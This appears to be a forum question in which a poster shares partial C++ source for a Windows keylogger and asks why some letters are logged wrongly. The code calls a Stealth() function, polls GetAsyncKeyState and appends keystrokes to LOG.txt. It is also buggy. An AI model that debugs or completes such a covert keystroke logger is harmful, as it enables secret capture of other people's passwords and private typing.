I've been a visitor of stackoverflow for quite some time and this is my first question on this site :) I'm trying to write a keylogger which will save the keys pressed in a .txt file but the problem is this. I check the outputs on cmd.exe with cout and I see that it works fine but when I open the LOG.txt file I see that the program prints abcdefgh as 012345678. Only these noncapital letters don't work. Every other key is printed correctly inside the file. Here is my main function:
int main()
{
Stealth();
//Focus();
char i;
while (1)
{
for(i = 8; i <= 255; i++){
if (GetAsyncKeyState(i) == -32767){
i=_getch();
cout << i << endl;
Save(i,"LOG.txt");
}
}
}
system("pause");
return 0;
}
Save function:
int Save(int key, char *file)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
*(determining special conditions like ENTER,SPACE...)*
*...*
*...*
else
fprintf(OUTPUT_FILE, "%s", &key);
fclose(OUTPUT_FILE);
return 0;
}